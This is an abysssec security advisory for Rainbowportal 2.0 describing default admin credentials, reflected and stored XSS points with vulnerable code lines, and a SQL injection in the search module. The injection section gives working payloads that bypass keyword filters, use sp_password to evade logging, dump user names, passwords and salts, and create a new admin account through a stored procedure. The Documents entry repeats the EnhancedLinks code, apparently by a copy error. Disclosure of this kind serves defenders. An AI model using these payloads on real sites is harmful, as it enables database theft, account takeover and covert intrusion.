''' __ __ ____ _ _ ____ | \/ |/ __ \ /\ | | | | _ \ | \ / | | | | / \ | | | | |_) | | |\/| | | | |/ /\ \| | | | _ < | | | | |__| / ____ \ |__| | |_) | |_| |_|\____/_/ \_\____/|____/ ''' abysssec Inc Public Advisory 1) Advisory information Title : Rainbowportal Multiple Remote Vulnerabilities Version : Rainbow 2.0 Production/Stable (2.0.0.1881e) VS 2005 | VS 2008 .NET 2.0-3.5 Discovery : http://www.abysssec.com Vendor : http://www.rainbowportal.net Impact : Critical Contact : shahin [at] abysssec.com , info [at] abysssec.com Twitter : @abysssec 2) Vulnerability Information Class 1- Login Weakness 2- Non-persistent XSS 3- Persistent XSS 4- SQL Injection Impact A successful exploit can allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. Remotely Exploitable Yes Locally Exploitable No 3) Vulnerabilities detail 1- Login Weakness: You can Login to Rainbow with two ways: 1- Insert Email and Password 2- Insert UserID and Password By Default for Rainbow Admin can login to CMS with (With no Encryption): UserID=1, Password=Admin Therefor maybe you can login to Rainbow with 1 and Admin. Valnerable Code: in ../Rainbow/Security/Security.cs ln 473: usr = accountSystem.Login(uid, password, portalSettings.PortalID); 2- Non-persistent XSS Vulnerabilities: In these URLs you can see the Non-persistent XSS Vulnerabilities: http://Example.com/app_support/FCK.filemanager/imagegallery.aspx?1&"> (this page just accessable for Admin) http://Example.com/aspnet_client/ELB/ELB_arrowButton.aspx?ctlID=0&chunkSize=200000000000002&hashCode=20&filterValue=&filterType=20 (this page accessable for All users) Reason: the number: 200000000000002 is not an Int value. As a result an Error Accurred. At all in another steps that you can create an Error in CMS , you can create an XSS with Error Page. 3-Persistent XSS Vulnerabilities: In these Modules you can find Persistent XSS that data saves with no sanitization: 1- Module name: MileStones Fields : Title, Status Access URL: http://Example.com/DesktopModules/MileStones/MilestonesEdit.aspx?tabID=0&ItemID=1&Mid=2833 Vulnerable Code: In ../Rainbow/DesktopModules/Milestones/MilestonesEdit.aspx.cs ln 108: milestonesDb.AddMilestones(ItemID, ModuleID, PortalSettings.CurrentUser.Identity.Email, DateTime.Now, TitleField.Text, DateTime.Parse(EstCompleteDate.Text), StatusBox.Text); 2- Module name: Contacts Fields : Name, Role, Office, Mobile, Fax, Address Access URL: http://Example.com/DesktopModules/Contacts/ContactsEdit.aspx?tabID=181&ItemID=1&mid=2837 Vulnerable Code: In ../Rainbow/DesktopModules/Contacts/ContactsEdit.aspx.cs ln 195: contacts.AddContact( ModuleID, ItemID, PortalSettings.CurrentUser.Identity.Email, NameField.Text, RoleField.Text, EmailField.Text, Contact1Field.Text, Contact2Field.Text, FaxField.Text, AddressField.Text); 3- Module name: Blog Fields : Title, Name, Comments Access URL: http://Example.com/DesktopModules/Blog/BlogView.aspx?tabID=181&ItemID=1&mid=2824 Vulnerable Code: In ../Rainbow/DesktopModules/Blog/BlogView.aspx.cs ln 133: blogDB.AddBlogComment(ModuleID, ItemID, this.txtName.Text, this.txtTitle.Text, this.txtURL.Text, this.txtComments.Text); 4- Module name: Announcements Field: Title Access URL: http://Example.com/DesktopModules/Announcements/AnnouncementsEdit.aspx?tabID=181&mID=2823 In ../Rainbow/DesktopModules/Announcements/AnnouncementsEdit.aspx.cs ln 213: announcementDB.AddAnnouncement(ModuleID, ItemID, PortalSettings.CurrentUser.Identity.Email, TitleField.Text, DateTime.Parse(ExpireField.Text),DesktopText.Text, MoreLinkField.Text, MobileMoreField.Text); 5- Module name: EnhancedLinks Fields : Title, Description Access URL: http://Example.com/DesktopModules/EnhancedLinks/EnhancedLinksEdit.aspx?tabID=181&mID=2820 Vulnerable Code: In ../Rainbow/DesktopModules/EnhancedLinks/EnhancedLinksEdit.aspx.cs ln 151: enhancedLinks.AddEnhancedLink(ModuleID, ItemID, PortalSettings.CurrentUser.Identity.Email, TitleField.Text, UrlField.Text, MobileUrlField.Text, Int32.Parse(ViewOrderField.Text), DescriptionField.Text, Src.Text, 0, TargetField.SelectedItem.Text); 6- Module name: Documents Fields : Filename, Category Access URL: http://Example.com/DesktopModules/Documents/DocumentsEdit.aspx?tabID=0&ItemID=1&mid=2841 Vulnerable Code: In ../Rainbow/DesktopModules/EnhancedLinks/EnhancedLinksEdit.aspx.cs ln 151: enhancedLinks.AddEnhancedLink(ModuleID, ItemID, PortalSettings.CurrentUser.Identity.Email, TitleField.Text, UrlField.Text, MobileUrlField.Text, Int32.Parse(ViewOrderField.Text), DescriptionField.Text, Src.Text, 0, TargetField.SelectedItem.Text); 4- SQL Injection Vulnerability: This Vulnerability exists in (Search Site - via DB) Module. In the Rainbow.Helpers.SearchDefinition class (../Rainbow/Helpers/SearchDefinition.cs) and in the SearchSqlSelect() function (ln 328), the body of query builds in the FilterString(searchStr) function (ln 305) and some words and letters blocks. Words like "select","char", "--", "'", ";" , etc . But no filter exist for "Union","Execute" , "sp_" , etc. Techniques that we use to bypass filtering are listed fallow: 1- A keyword "AddExtraSQL:" uses in query that Allows you to create any query you prefer. This is inborn Logic of Program. (ln 344) 2- For bypass ";" , "select" and "--" filtering , we use "s;e;l;e;c;t" and ";-;-". 3- The input value that you entered, must be one expression but without any spaces, so we use "/**/" Instead of space. 4- Instead of a Date value we use "1/1/1900" 5- Instead of an unique identifier value we use NEWID() method that was Built in SqlServer. 6- For evade logging, We use "sp_password" in query. As a result you can input value for Bypass filters and access critical information from Database : AddExtraSQL:1=1/**/Union/**/s;e;l;e;c;t/**/user,@@version,user,1,2,user,1/1/1900,3,user,NEWID(),user;-;-/**/sp_password After that results will be shown in DataGrid in Page. With another value, we can retrieve Information’s of Users: AddExtraSQL:1=1/**/Union/**/s;e;l;e;c;t/**/Name,Password,Email,UserID,2,Salt,1/1/1900,3,user,NEWID(),user/**/f;r;o;m/**/rb_users;-;-/**/sp_password That the value of Email is Abstract column and Password is Title column and you can Login to Rainbow with this value. With another value like this, we can add an Admin User to CMS with "rb_AddUser" stored procedure: AddExtraSQL:1=1/**/execute/**/dbo.rb_AddUser/**/0,"admin2","admin2@yahoo.com","admin2",null,null;-;-/**/sp_password For gain better results, for search, you can just select "Announcements" from Module ComboBox.